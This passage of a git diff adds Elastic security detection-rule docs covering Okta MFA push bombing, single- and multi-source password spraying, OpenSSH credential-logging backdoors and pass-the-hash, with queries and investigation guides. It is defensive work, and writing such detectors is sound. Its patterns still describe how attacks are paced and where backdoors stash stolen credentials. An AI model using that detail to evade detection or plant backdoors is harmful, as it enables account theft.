Multi-Factor authentication mechanism by repeatedly issuing login requests until the user eventually accepts the Okta push notification. An adversary may attempt to bypass the Okta MFA policies configured for an organization to obtain unauthorized access. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-okta.system* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mandiant.com/resources/russian-targeting-gov-business +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.rezonate.io/blog/okta-logs-decoded-unveiling-identity-threats-through-threat-hunting/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Data Source: Okta +* Data Source: Okta System Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Event Correlation (EQL) +* Platform: Okta + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Okta MFA Bombing via Push Notifications* + + +Multi-Factor Authentication (MFA) is an effective method to prevent unauthorized access. However, some adversaries may abuse the system by repeatedly sending MFA push notifications until the user unwittingly approves the access. + +This rule detects when a user denies MFA Okta Verify push notifications twice, followed by a successful authentication event within a 10-minute window. This sequence could indicate an adversary's attempt to bypass the Okta MFA policy. + + +*Possible investigation steps:* + + +- Identify the user who received the MFA notifications by reviewing the `user.email` field. +- Identify the time, source IP, and geographical location of the MFA requests and the subsequent successful login. +- Review the `event.action` field to understand the nature of the events. It should include two `user.mfa.okta_verify.deny_push` actions and one `user.authentication.sso` action. +- Ask the user if they remember receiving the MFA notifications and subsequently logging into their account. +- Check if the MFA requests and the successful login occurred during the user's regular activity hours. +- Look for any other suspicious activity on the account around the same time. +- Identify whether the same pattern is repeated for other users in your organization. Multiple users receiving push notifications simultaneously might indicate a larger attack. + + +*False positive analysis:* + + +- Determine if the MFA push notifications were legitimate. Sometimes, users accidentally trigger MFA requests or deny them unintentionally and later approve them. +- Check if there are known issues with the MFA system causing false denials. + + +*Response and remediation:* + + +- If unauthorized access is confirmed, initiate your incident response process. +- Alert the user and your IT department immediately. +- If possible, isolate the user's account until the issue is resolved. +- Investigate the source of the unauthorized access. +- If the account was accessed by an unauthorized party, determine the actions they took after logging in. +- Consider enhancing your MFA policy to prevent such incidents in the future. +- Encourage users to report any unexpected MFA notifications immediately. +- Review and update your incident response plans and security policies based on the findings from the incident. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by okta.actor.id with maxspan=10m + [ any + where data_stream.dataset == "okta.system" + and ( + okta.event_type == "user.mfa.okta_verify.deny_push" + or ( + okta.event_type == "user.authentication.auth_via_mfa" + and okta.debug_context.debug_data.factor == "OKTA_VERIFY_PUSH" + and okta.outcome.reason == "INVALID_CREDENTIALS" + ) + ) + ] with runs=5 + until + [ any + where data_stream.dataset == "okta.system" + and okta.event_type in ( + "user.authentication.sso", + "user.authentication.auth_via_mfa", + "user.authentication.verify", + "user.session.start" + ) + and okta.outcome.result == "SUCCESS" + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Multi-Factor Authentication Request Generation +** ID: T1621 +** Reference URL: https://attack.mitre.org/techniques/T1621/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-okta-password-spray-multi-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-okta-password-spray-multi-source.asciidoc new file mode 100644 index 0000000000..17a26da9a6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-okta-password-spray-multi-source.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-potential-okta-password-spray-multi-source]] +=== Potential Okta Password Spray (Multi-Source) + +Detects potential password spray attacks where multiple source IPs target multiple Okta user accounts within a time window, indicating coordinated attacks using IP rotation to evade single-source detection. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.okta.com/help/s/article/Troubleshooting-Distributed-Brute-Force-andor-Password-Spray-attacks-in-Okta +* https://www.okta.com/identity-101/brute-force/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Data Source: Okta +* Data Source: Okta System Logs +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Threat: Brute Force +* Rule Type: ES|QL +* Platform: Okta + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Okta Password Spray (Multi-Source)* + + +This rule identifies coordinated password spray attacks where multiple source IPs target multiple user accounts within a time window. This pattern indicates attackers using IP rotation to evade single-source detection while spraying passwords across the organization. + + +*Possible investigation steps* + +- Review the list of targeted user accounts and check if any authentications succeeded. +- Examine the source IPs and their ASN ownership for signs of proxy, VPN, or cloud infrastructure. +- Check if Okta flagged any of the sources as known threats or proxies. +- Analyze the attempts-per-user ratio to confirm spray behavior versus brute force. +- Review the geographic distribution of source IPs for coordination patterns. +- Cross-reference with successful authentication events to identify potential compromises. + + +*False positive analysis* + +- Organization-wide password rotation or expiration events may cause widespread authentication failures. +- Misconfigured SSO or SAML integrations can cause batch failures from legitimate infrastructure. +- Penetration testing should be coordinated and whitelisted in advance. + + +*Response and remediation* + +- If attack is confirmed, notify affected users and enforce password resets for potentially compromised accounts. +- Block attacking IP ranges at the network perimeter. +- Enable or strengthen MFA for targeted accounts. +- Review Okta sign-on policies to add additional friction for suspicious authentication patterns. +- Consider temporary lockdowns for highly targeted accounts. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-okta.system-* METADATA _id, _version, _index +| WHERE + data_stream.dataset == "okta.system" + AND (event.action LIKE "user.authentication.*" OR event.action == "user.session.start") + AND okta.outcome.reason IN ("INVALID_CREDENTIALS", "LOCKED_OUT") + AND okta.actor.alternate_id IS NOT NULL + +// Bucket into 15-minute windows and create user-source mapping for context +| EVAL + Esql.time_bucket = DATE_TRUNC(15 minutes, @timestamp), + Esql.user_source_info = CONCAT( + "{\"user\":\"", okta.actor.alternate_id, + "\",\"ip\":\"", COALESCE(okta.client.ip::STRING, "unknown"), + "\",\"user_agent\":\"", COALESCE(okta.client.user_agent.raw_user_agent, "unknown"), "\"}" + ) + +// Aggregate across entire tenant per time bucket to detect distributed spray +| STATS + Esql.unique_users = COUNT_DISTINCT(okta.actor.alternate_id), + Esql.unique_source_ips = COUNT_DISTINCT(okta.client.ip), + Esql.total_attempts = COUNT(*), + Esql.unique_user_agents = COUNT_DISTINCT(okta.client.user_agent.raw_user_agent), + Esql.unique_asns = COUNT_DISTINCT(source.as.number), + Esql.unique_countries = COUNT_DISTINCT(client.geo.country_name), + Esql.first_seen = MIN(@timestamp), + Esql.last_seen = MAX(@timestamp), + Esql.target_users = VALUES(okta.actor.alternate_id), + Esql.source_ip_values = VALUES(okta.client.ip), + Esql.user_source_mapping = VALUES(Esql.user_source_info), + Esql.event_action_values = VALUES(event.action), + Esql.user_agent_values = VALUES(okta.client.user_agent.raw_user_agent), + Esql.device_values = VALUES(okta.client.device), + Esql.is_proxy_values = VALUES(okta.security_context.is_proxy), + Esql.geo_country_values = VALUES(client.geo.country_name), + Esql.geo_city_values = VALUES(client.geo.city_name), + Esql.source_asn_values = VALUES(source.as.number), + Esql.source_asn_org_values = VALUES(source.as.organization.name), + Esql.threat_suspected_values = VALUES(okta.debug_context.debug_data.threat_suspected), + Esql.risk_level_values = VALUES(okta.debug_context.debug_data.risk_level), + Esql.risk_reasons_values = VALUES(okta.debug_context.debug_data.risk_reasons) + BY Esql.time_bucket + +// Calculate spray metrics +| EVAL + Esql.attempts_per_user = Esql.total_attempts * 1.0 / Esql.unique_users, + Esql.attempts_per_ip = Esql.total_attempts * 1.0 / Esql.unique_source_ips, + Esql.users_per_ip = Esql.unique_users * 1.0 / Esql.unique_source_ips + +// Distributed spray: many IPs, many users, moderate spread across both +// Key differentiator: attacks come from multiple IPs (evading per-IP rules) +| WHERE + Esql.unique_source_ips >= 5 + AND Esql.unique_users >= 8 + AND Esql.total_attempts >= 25 + AND Esql.attempts_per_user <= 5.0 + AND Esql.users_per_ip >= 1.0 + +| SORT Esql.total_attempts DESC +| KEEP Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-okta-password-spray-single-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-okta-password-spray-single-source.asciidoc new file mode 100644 index 0000000000..2e8292d430 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-okta-password-spray-single-source.asciidoc @@ -0,0 +1,194 @@ +[[prebuilt-rule-8-19-34-potential-okta-password-spray-single-source]] +=== Potential Okta Password Spray (Single Source) + +Detects potential password spray attacks where a single source IP attempts authentication against multiple Okta user accounts with repeated attempts per user, indicating common password guessing paced to avoid lockouts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.okta.com/help/s/article/Troubleshooting-Distributed-Brute-Force-andor-Password-Spray-attacks-in-Okta +* https://www.okta.com/identity-101/brute-force/ +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Data Source: Okta +* Data Source: Okta System Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Brute Force +* Rule Type: ES|QL +* Platform: Okta + +*Version*: 419 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Okta Password Spray (Single Source)* + + +This rule identifies a single source IP attempting authentication against multiple user accounts with repeated attempts per user over time. This pattern indicates password spraying where attackers try common passwords while pacing attempts to avoid lockouts. + + +*Possible investigation steps* + +- Identify the source IP and determine if it belongs to known proxy, VPN, or cloud infrastructure. +- Review the list of targeted user accounts and check if any authentications succeeded. +- Analyze the timing of attempts to determine if they are paced to avoid lockout thresholds. +- Check if Okta flagged the source as a known threat or proxy. +- Examine user agent strings for signs of automation or consistent tooling across attempts. +- Review the geographic location and ASN of the source IP for anomalies. + + +*False positive analysis* + +- Corporate proxies or VPN exit nodes may aggregate traffic from multiple legitimate users with login issues. +- Automated processes or misconfigured applications retrying authentication may trigger this rule. +- Password rotation events may cause legitimate widespread authentication failures. + + +*Response and remediation* + +- If attack is confirmed, block the source IP at the network perimeter. +- Notify targeted users and enforce password resets for accounts that may have been compromised. +- Enable or strengthen MFA for targeted accounts. +- Consider implementing CAPTCHA or additional friction for suspicious authentication patterns. +- Review Okta sign-on policies to ensure lockout thresholds are appropriately configured. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-okta.system-* METADATA _id, _version, _index +| WHERE + data_stream.dataset == "okta.system" + AND (event.action LIKE "user.authentication.*" OR event.action == "user.session.start") + AND okta.outcome.reason IN ("INVALID_CREDENTIALS", "LOCKED_OUT") + AND okta.actor.alternate_id IS NOT NULL +// Build user-source context as JSON for enrichment +| EVAL Esql.user_source_info = CONCAT( + "{\"user\":\"", okta.actor.alternate_id, + "\",\"ip\":\"", COALESCE(okta.client.ip::STRING, "unknown"), + "\",\"user_agent\":\"", COALESCE(okta.client.user_agent.raw_user_agent, "unknown"), "\"}" + ) +// FIRST STATS: Aggregate by (IP, user) to get per-user attempt counts +// This prevents skew from outlier users with many attempts +| STATS + Esql.user_attempts = COUNT(*), + Esql.user_source_info = VALUES(Esql.user_source_info), + Esql.user_agents_per_user = VALUES(okta.client.user_agent.raw_user_agent), + Esql.devices_per_user = VALUES(okta.client.device), + Esql.is_proxy = VALUES(okta.security_context.is_proxy), + Esql.geo_country = VALUES(client.geo.country_name), + Esql.geo_city = VALUES(client.geo.city_name), + Esql.asn_number = VALUES(source.as.number), + Esql.asn_org = VALUES(source.as.organization.name), + Esql.threat_suspected = VALUES(okta.debug_context.debug_data.threat_suspected), + Esql.risk_level = VALUES(okta.debug_context.debug_data.risk_level), + Esql.event_actions = VALUES(event.action), + Esql.first_seen_user = MIN(@timestamp), + Esql.last_seen_user = MAX(@timestamp) + BY okta.client.ip, okta.actor.alternate_id +// SECOND STATS: Aggregate by IP to detect password spray pattern +// Now we can accurately measure the distribution of attempts across users +| STATS + Esql.unique_users = COUNT(*), + Esql.total_attempts = SUM(Esql.user_attempts), + Esql.max_attempts_per_user = MAX(Esql.user_attempts), + Esql.min_attempts_per_user = MIN(Esql.user_attempts), + Esql.avg_attempts_per_user = AVG(Esql.user_attempts), + // Spray band: 2-6 attempts per user (deliberate slow spray below lockout) + Esql.users_in_spray_band = SUM(CASE(Esql.user_attempts >= 2 AND Esql.user_attempts <= 6, 1, 0)), + // Also track users with only 1 attempt (stuffing-like) for differentiation + Esql.users_with_single_attempt = SUM(CASE(Esql.user_attempts == 1, 1, 0)), + Esql.first_seen = MIN(Esql.first_seen_user), + Esql.last_seen = MAX(Esql.last_seen_user), + Esql.target_users = VALUES(okta.actor.alternate_id), + Esql.user_source_mapping = VALUES(Esql.user_source_info), + Esql.event_action_values = VALUES(Esql.event_actions), + Esql.user_agent_values = VALUES(Esql.user_agents_per_user), + Esql.device_values = VALUES(Esql.devices_per_user), + Esql.is_proxy_values = VALUES(Esql.is_proxy), + Esql.geo_country_values = VALUES(Esql.geo_country), + Esql.geo_city_values = VALUES(Esql.geo_city), + Esql.source_asn_values = VALUES(Esql.asn_number), + Esql.source_asn_org_values = VALUES(Esql.asn_org), + Esql.threat_suspected_values = VALUES(Esql.threat_suspected), + Esql.risk_level_values = VALUES(Esql.risk_level) + BY okta.client.ip +// Calculate spray signature metrics +| EVAL + // Percentage of users in the spray band (2-6 attempts) + Esql.pct_users_in_spray_band = Esql.users_in_spray_band * 100.0 / Esql.unique_users, + // Attack duration in minutes (spray is paced, not bursty) + Esql.attack_duration_minutes = DATE_DIFF("minute", Esql.first_seen, Esql.last_seen) +// Password spraying detection logic: +// - Many users targeted (>= 5) +// - Hard cap below Okta lockout threshold (max <= 8 attempts per user) +// - Majority of users in spray band (2-6 attempts) (at least 60%) +// - Attack is paced over time (>= 5 minutes) (not a 10-second burst like stuffing) +// - Minimum total attempts to reduce noise +// Note: For IP rotation attacks, see "Distributed Password Spray Attack in Okta" rule +| WHERE + Esql.unique_users >= 5 + AND Esql.total_attempts >= 15 + AND Esql.max_attempts_per_user <= 8 + AND Esql.max_attempts_per_user >= 2 + AND Esql.pct_users_in_spray_band >= 60.0 + AND Esql.attack_duration_minutes >= 5 +| SORT Esql.total_attempts DESC +| KEEP Esql.*, okta.client.ip + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-openssh-backdoor-logging-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-openssh-backdoor-logging-activity.asciidoc new file mode 100644 index 0000000000..21b3204c57 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-openssh-backdoor-logging-activity.asciidoc @@ -0,0 +1,225 @@ +[[prebuilt-rule-8-19-34-potential-openssh-backdoor-logging-activity]] +=== Potential OpenSSH Backdoor Logging Activity + +Identifies a Secure Shell (SSH) client or server process creating a known SSH backdoor log file. Adversaries may modify SSH related binaries for persistence or credential access via patching sensitive functions to enable unauthorized access or to log SSH credentials for exfiltration. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/eset/malware-ioc/tree/master/sshdoor +* https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential OpenSSH Backdoor Logging Activity* + + +OpenSSH is a widely used protocol for secure remote administration and file transfers. Adversaries may exploit OpenSSH by modifying its binaries to log credentials or maintain unauthorized access. The detection rule identifies suspicious file changes linked to SSH processes, focusing on unusual file names, extensions, and paths indicative of backdoor activity, thus helping to uncover potential security breaches. + + +*Possible investigation steps* + + +- Review the file change event details to identify the specific file name, extension, and path involved in the alert. Pay particular attention to unusual file names or extensions and paths listed in the query, such as "/usr/lib/*.so.*" or "/private/etc/ssh/.sshd_auth". +- Examine the process executable that triggered the alert, either "/usr/sbin/sshd" or "/usr/bin/ssh", to determine if it has been modified or replaced. Check the integrity of these binaries using hash comparisons against known good versions. +- Investigate the user account associated with the process that made the file change. Determine if the account has a history of suspicious activity or if it has been compromised. +- Check for any recent or unusual login attempts or sessions related to the SSH service on the host. Look for patterns that might indicate unauthorized access or credential harvesting. +- Analyze system logs, such as auth.log or secure.log, for any anomalies or entries that coincide with the time of the file change event. This can provide additional context or evidence of malicious activity. +- If a backdoor is suspected, consider isolating the affected system from the network to prevent further unauthorized access and begin remediation efforts, such as restoring from a clean backup or reinstalling the affected services. + + +*False positive analysis* + + +- Routine system updates or package installations may trigger file changes in SSH-related directories. Users can create exceptions for known update processes to prevent false alerts. +- Custom scripts or administrative tasks that modify SSH configuration files for legitimate purposes might be flagged. Users should whitelist these scripts or processes if they are verified as non-malicious. +- Backup or synchronization tools that create temporary files with unusual extensions or names in SSH directories can cause false positives. Exclude these tools from monitoring if they are part of regular operations. +- Development or testing environments where SSH binaries are frequently modified for testing purposes may generate alerts. Implement exclusions for these environments to reduce noise. +- Automated configuration management tools like Ansible or Puppet that modify SSH settings as part of their operations can be excluded if they are part of authorized workflows. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious SSH processes identified in the alert to halt potential backdoor activity. +- Conduct a thorough review of the modified files and binaries, particularly those listed in the query, to assess the extent of the compromise and identify any malicious code or unauthorized changes. +- Restore affected files and binaries from a known good backup to ensure system integrity and remove any backdoor modifications. +- Change all SSH credentials and keys associated with the compromised system to prevent unauthorized access using potentially logged credentials. +- Implement additional monitoring on the affected system and network for any signs of persistence or further malicious activity, focusing on the paths and file types highlighted in the detection query. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected, ensuring a coordinated response to the threat. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Custom Ingest Pipeline* + +For versions <8.2, you need to add a custom ingest pipeline to populate `event.ingested` with @timestamp for non-elastic-agent indexes, like auditbeats/filebeat/winlogbeat etc. For more details to add a custom ingest pipeline refer to the https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and process.name in ("ssh", "sshd") and + ( + ( + file.name : (".*", "~*", "*~") and not file.name : ( + ".cache", ".viminfo", ".bash_history", ".google_authenticator", ".jelenv", ".csvignore", ".rtreport", ".git*" + ) + ) or + file.extension : ("in", "out", "ini", "h", "gz", "so", "sock", "sync", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9") or + file.path : + ( + "/tmp/*", + "/var/tmp/*", + "/dev/shm/*", + "/usr/share/*", + "/usr/include/*", + "/usr/local/include/*", + "/usr/share/man/*", + "/usr/local/share/*", + "/usr/lib/*.so.*", + "/usr/bin/ssd", + "/var/run/sshd/sshd.pid", + "/var/run/nscd/ns.pid", + "/var/run/udev/ud.pid", + "/var/run/udevd.pid" + ) + ) and + not file.path like ("/tmp/krb5cc*", "/tmp/ansible_*", "/storage/*", "/tmp/clearsigned.message.*", "/var/sftp/refinitiv/*", "/tmp/fileutil.message.*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Local Data Staging +** ID: T1074.001 +** Reference URL: https://attack.mitre.org/techniques/T1074/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-pass-the-hash-pth-attempt.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-pass-the-hash-pth-attempt.asciidoc new file mode 100644 index 0000000000..6ef7b3f7cd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-pass-the-hash-pth-attempt.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-potential-pass-the-hash-pth-attempt]] +=== Potential Pass-the-Hash (PtH) Attempt + +Adversaries may pass the hash using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. + +*Rule type*: new_terms + +*Rule indices*: + +* winlogbeat-* +* logs-windows.forwarded* +* logs-system.security* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1550/002/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Windows + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Pass-the-Hash (PtH) Attempt* + + +Pass-the-Hash (PtH) is a technique where attackers use stolen password hashes to authenticate and move laterally across systems without needing plaintext passwords. This method exploits the authentication process in Windows environments. The detection rule identifies suspicious logins using specific logon types and processes, indicating potential PtH activity, by monitoring successful authentications with certain user IDs and logon processes. + + +*Possible investigation steps* + + +- Review the event logs for the specific user IDs (S-1-5-21-* or S-1-12-1-*) to identify any unusual or unauthorized access patterns, focusing on the time and source of the logon events. +- Examine the winlog.event_data.LogonProcessName field for "seclogo" to determine if this process is commonly used in your environment or if it appears suspicious or unexpected. +- Correlate the successful authentication events with other security logs to identify any lateral movement or access to sensitive systems that occurred after the initial logon. +- Investigate the source IP addresses and hostnames associated with the logon events to determine if they are known and trusted within the network or if they originate from unusual or external locations. +- Check for any recent changes or anomalies in the accounts associated with the suspicious user IDs, such as password resets, privilege escalations, or unusual account activity. +- Consult threat intelligence sources to see if there are any known campaigns or threat actors using similar techniques or targeting similar environments. + + +*False positive analysis* + + +- Legitimate administrative tools or scripts that use the "NewCredentials" logon type for automation or scheduled tasks can trigger false positives. Review and whitelist known benign processes or scripts that are part of regular operations. +- Security software or monitoring tools that perform regular checks using the "seclogo" logon process may be misidentified. Identify and exclude these tools from the detection rule to prevent unnecessary alerts. +- Service accounts with user IDs matching the specified patterns (S-1-5-21-* or S-1-12-1-*) might be flagged during routine operations. Ensure these accounts are documented and create exceptions for their expected activities. +- Regularly scheduled tasks or maintenance activities that involve authentication processes similar to PtH can cause false positives. Document these activities and adjust the detection rule to account for their occurrence. +- User behavior analytics might incorrectly flag normal user activities as suspicious. Implement user behavior baselining to differentiate between typical and atypical logon patterns, refining the detection criteria accordingly. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further lateral movement by the attacker. +- 